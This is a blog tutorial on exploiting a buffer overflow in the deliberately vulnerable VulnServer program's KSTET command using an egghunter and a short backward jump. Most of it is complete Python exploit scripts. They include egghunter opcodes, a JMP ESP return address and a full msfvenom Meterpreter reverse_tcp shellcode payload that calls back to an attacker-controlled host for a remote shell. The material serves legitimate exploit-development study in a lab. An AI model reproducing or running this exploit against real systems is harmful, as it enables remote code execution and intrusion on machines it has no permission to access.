Using the 'VulnServer' program we'll demonstrate a stack overflow that presents a minimal available buffer size for shellcode and construct a script to perform remote code execution to gain a shell on a sample system through the use of an egghunter.

In this instance I'll be targeting the KSTET command input as it is widely known to be a basic overflow attack with a minimal buffer payload size.


Word of Warning

The purpose of this blog is to provide an outlet to note down the methodologies and tricks I've learned along the way, and hopefully this will be beneficial to someone else. I do not claim to be an expert in this field and there are many other blog posts and articles that delve in to considerably better detail.

Information is free - take the good bits and leave the rest!


Lab Setup

I'd suggest reading my initial blog post around basic overflows if you're just starting out, but we'll assume a development lab is already good and ready to go. Just a note on this one, I've used a 32-bit operating system due to limitations in a standard egghunter running on x86_64. There are x86_64 capable egghunters available, however.

Some links here:
https://pentesterslife.blog/2017/11/24/x64-egg-hunting-in-linux-systems/
https://www.exploit-db.com/exploits/45293
https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/

Overflow Fuzzing

I'll run the WoollyMammoth fuzz command against the VulnServer service and will immediately identify a crash in the debugger between 0 and 200 bytes (the script starts at sending 100 bytes, which is something I need to fix).

Identifying EIP Offset

The EIP offset is actually overwritten at 68 bytes.

I'll send the following payload to the VulnServer program to identify the possible buffer size following our EIP overwrite. I'm simply using the "C" character 0x43 as a placeholder for now.

#!/usr/bin/env python
import socket

target = "192.168.111.4"
port = 9999
prefix = "KSTET ./"

eip = "B" * 4
sc = ("C" * 200)
buffer = ("A" * 68) + eip + sc

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()```

Understanding the Available Shellcode Buffer Size

Once the server crashes, I'll click to follow ESP in the dump. This will then show that there are only 20 available bytes for our shellcode, which isn't sufficient for usable shellcode from msfvenom.

Egghunting

An egghunter is a relatively small piece of code that can search the virtual memory space safely (avoiding access violations) to identify a specific string, which is then used to indicate where the start of the exploit shellcode resides.

For example, if the shellcode were positioned in a much earlier part of the input buffer payload, but somewhere too far away to access via an available JMP or CALL instruction. Using an egghunter is considerably more beneficial in scenarios where there are protections such as ASLR, where the virtual memory is randomised.

Essentially, the egghunter code will initially set the EBX register to the start of the virtual memory address space (by going to the end of the address page and incrementing EBX by 1), and then gradually work its way through whilst allowing for error handling (e.g. by using a function like NTAccessCheckAndAuditAlarm). The code will compare the value of the virtual memory address to that of the egg's string. Once this is found once, the code loop will continue on until it finds the second value. For the example I'll be using the string will be HACK. Once both are found, the egghunter continues on and then sets a JMP to the memory address immediately following the egg.

There are numerous ways to create an egghunter, such as with Mona using the !mona egg -t HACK command, using Matt Miller's egghunter program, or even the Metasploit msf-egghunter tool (or writing your own).

The opcode string for this is one is: "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x41\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

I'll insert this in to the Python script as follows.

#!/usr/bin/env python
import socket

target = "192.168.111.4"
port = 9999
prefix = "KSTET ./"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x41\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "HACKHACK"

eip = "B" * 4
sc = ("C" * 200)
buffer = ("A" * 68) + eip + sc

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

However, as the screenshot above shows the egghunter is 32 bytes long and we only have 20 bytes to play with. This means that we're going to need to insert this within our initial buffer space that is currently taken up by by 68 * "A" characters (0x41).

Jumping to Egghunter

So, the next step is to overwrite EIP (currently storing \x42\x42\x42\x42) so that we can create a jump to the start of the shellcode in our available payload buffer. In the "TRUN" exploit within my previous post we identified a valid JMP ESP command by searching the associated VulnServer library module "essfunc.dll". I'll use the Mona module to search for this again.

!mona jmp -r esp -m "essfunc.dll"

I've modified the Python script to account for the size difference in the 68 byte A buffer, and inserted the egghunter prior to the start of the EIP JMP ESP instruction.

#!/usr/bin/env python
import socket

target = "192.168.111.4"
port = 9999
prefix = "KSTET ./"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x41\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "HACKHACK"

eip = "\xaf\x11\x50\x62"
sc = ("C" * 200)
buffer = ("A" * (68 - len(egghunter))) + egghunter + eip + sc

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

Upon running the script the debugger stops at a breakpoint that I have set for the JMP ESP instruction.

Upon stepping through, the debugger CPU window shows us that the egghunter has been successfully implanted. However, the execution flow will never reach these instructions as the 20 byte available space we have is currently set to "C" characters (0x43).

White men CAN JMP

To reach the egghunter we'll have to create a JMP point. For basic modules where there are no protections in place we can potentially just create a JMP instruction to reach this. However, we can also insert a backwards JMP instruction to reach this.

A short JMP can be entered with only 2 bytes.

The short JMP instruction can be used where space is a limiting factor, and can allow a relative JMP of 127 spaces (forwards or backwards, as the bytes inbetween):
EB 80 - EB FE : Backwards JMP range
EB 01 - EB 7F : Forwards JMP range

I've made a quick cheat sheet that can be used for the relevant short JMP byte values. Note - the forward 'JMP Amount' includes the bytes inbetween:

Backwards Short JMP Cheatsheet
Forward Short JMP Cheatsheet

A really good resouce for this can be found here.

So, after looking at our execution flow I would need to set a short backwards JMP instruction for 32 bytes (the length of our egghunter) plus an additional 2 bytes for the Short JMP command too. These will be the bytes inbetween.

I've modified the Python script as follows, adding the SHORT JMP byte value \xDB prefixed with the JMP instruction \xEB.

#!/usr/bin/env python
import socket

target = "192.168.111.4"
port = 9999
prefix = "KSTET ./"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x41\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "HACKHACK"

eip = "\xaf\x11\x50\x62"
sc = "\xEB\xDB"
buffer = ("A" * (68 - len(egghunter))) + egghunter + eip + sc

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

Stepping through the execution flow from the breakpoint at the EIP JMP ESP command shows that the short JMP command is then reached at the end of the inital payload. The \xEB\xDB instruction here shows that the JMP SHORT points to memory address 0148f9bc, which is the start of our egghunter.

Stepping through then takes us directly to the egghunter, which would then attempt (and right now, unsuccessfully) look to identify our egg string in memory.

Please Sir, I Want Some More (Buffer)

The problem we now face is that there is no more room for our shellcode. The egghunter will do its thing, but it won't find any entrypoints as we'll only present this string if/when we have room to enter a proper payload.

In other vulnerable programs there may be a sufficient amount of space in the initial buffer overflow offset, which we could then use to insert our egghunter string and the shellcode that we'll generate from msfvenom. However, as we've previously discovered a large buffer that is preset in the TRUN command we can use that to store a larger shellcode payload initially, and then use our exploit against the KSTET command to locate and execute that separately.

I'll generate a staged Meterpreter shellcode string using the msfvenom command msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.5 LPORT=4444 -b '\x00' -f c and will modify the Python script to add in an additional socket connection like so. I've also included the string "HACKHACK" just before the shellcode, as this is what the egghunter will look for and then jump to once it is detected.

#!/usr/bin/env python
import socket

target = "192.168.111.4"
port = 9999
prefix = "KSTET ./"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x41\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "HACKHACK"

eip = "\xaf\x11\x50\x62"
sc = "\xEB\xDB"
# Changed the A to NOPs (\x90)
buffer = ("\x90" * (68 - len(egghunter))) + egghunter + eip + sc

shellcode = "TRUN ./"
shellcode += "HACKHACK"
shellcode += (
"\xda\xc3\xb8\x36\xb0\x5c\x16\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x56\x31\x43\x18\x83\xc3\x04\x03\x43\x22\x52\xa9\xea\xa2\x10"
"\x52\x13\x32\x75\xda\xf6\x03\xb5\xb8\x73\x33\x05\xca\xd6\xbf"
"\xee\x9e\xc2\x34\x82\x36\xe4\xfd\x29\x61\xcb\xfe\x02\x51\x4a"
"\x7c\x59\x86\xac\xbd\x92\xdb\xad\xfa\xcf\x16\xff\x53\x9b\x85"
"\x10\xd0\xd1\x15\x9a\xaa\xf4\x1d\x7f\x7a\xf6\x0c\x2e\xf1\xa1"
"\x8e\xd0\xd6\xd9\x86\xca\x3b\xe7\x51\x60\x8f\x93\x63\xa0\xde"
"\x5c\xcf\x8d\xef\xae\x11\xc9\xd7\x50\x64\x23\x24\xec\x7f\xf0"
"\x57\x2a\xf5\xe3\xff\xb9\xad\xcf\xfe\x6e\x2b\x9b\x0c\xda\x3f"
"\xc3\x10\xdd\xec\x7f\x2c\x56\x13\x50\xa5\x2c\x30\x74\xee\xf7"
"\x59\x2d\x4a\x59\x65\x2d\x35\x06\xc3\x25\xdb\x53\x7e\x64\xb3"
"\x90\xb3\x97\x43\xbf\xc4\xe4\x71\x60\x7f\x63\x39\xe9\x59\x74"
"\x48\xfd\x59\xaa\xf2\x6e\xa4\x4b\x02\xa6\x63\x1f\x52\xd0\x42"
"\x20\x39\x20\x6a\xf5\xd7\x2a\xfc\x36\x8f\x44\xf9\xde\xcd\x9a"
"\x10\x43\x58\x7c\x42\x2b\x0a\xd1\x23\x9b\xea\x81\xcb\xf1\xe5"
"\xfe\xec\xf9\x2c\x97\x87\x15\x98\xcf\x3f\x8f\x81\x84\xde\x50"
"\x1c\xe1\xe1\xdb\x94\x15\xaf\x2b\xdd\x05\xd8\x4b\x1d\xd6\x19"
"\xfe\x1d\xbc\x1d\xa8\x4a\x28\x1c\x8d\xbc\xf7\xdf\xf8\xbf\xf0"
"\x20\x7d\x89\x8b\x17\xeb\xb5\xe3\x57\xfb\x35\xf4\x01\x91\x35"
"\x9c\xf5\xc1\x66\xb9\xf9\xdf\x1b\x12\x6c\xe0\x4d\xc6\x27\x88"
"\x73\x31\x0f\x17\x8c\x14\x13\x50\x72\xea\x3c\xf9\x1a\x14\x7d"
"\xf9\xda\x7e\x7d\xa9\xb2\x75\x52\x46\x72\x75\x79\x0f\x1a\xfc"
"\xec\xfd\xbb\x01\x25\xa3\x65\x01\xca\x78\x96\x78\xa3\x7f\x57"
"\x7d\xad\x1b\x58\x7d\xd1\x1d\x65\xab\xe8\x6b\xa8\x6f\x4f\x63"
"\x9f\xd2\xe6\xee\xdf\x41\xf8\x3a"
)

# Send shellcode to TRUN
trun = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
trun.connect((target,port))
print (trun.recv(1024))
trun.send(shellcode)
print (trun.recv(1024))
trun.close()

# Send buffer overflow to KSTET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

Stepping Through Egghunter Execution

Upon running the exploit the initial JMP ESP breakpoint is hit, which then steps into the SHORT JMP command. We're then taken to the start of the egghunter, which shows the following register values prior to its execution.

The initial egghunter command zeros-out the EDX register by setting it to the previous page's end memory address 0FFF and then incrementing it by 1 to reach the start memory address.

We can then see the EDX register increase as it cycles through looking for the first instance of "HACK" within memory:

After setting a breakpoint at the next comparison instruction the first "HACK" string has been identified, and as the second one has not yet been identified (only its first instance looping through) the egghunter will move to the next 4 bytes of memory after this.

However, this string was not our egg, as only a single 4 byte string was identified:

The egghunter then continues looping through to discover another instance, which looks more promising:

After the full egg has been identified the egghunter continues to a JMP EDI instruction, with our shellcode start address (which immediately follows the "HACKHACK" string) set as the register value.

Following this through takes us to the start of our shellcode (which we can verify by looking back at the first few bytes of the shellcode string in the Python script):
\xda\xc3\xb8\x36

Exploitation

After letting execution continue we receive a full (staged) Meterpreter shell:

The server actually remains in a running state whilst we have an accessible shell. However, once the shell is closed the program will terminate. This is due to us not creating a handler for returning the execution flow to normal.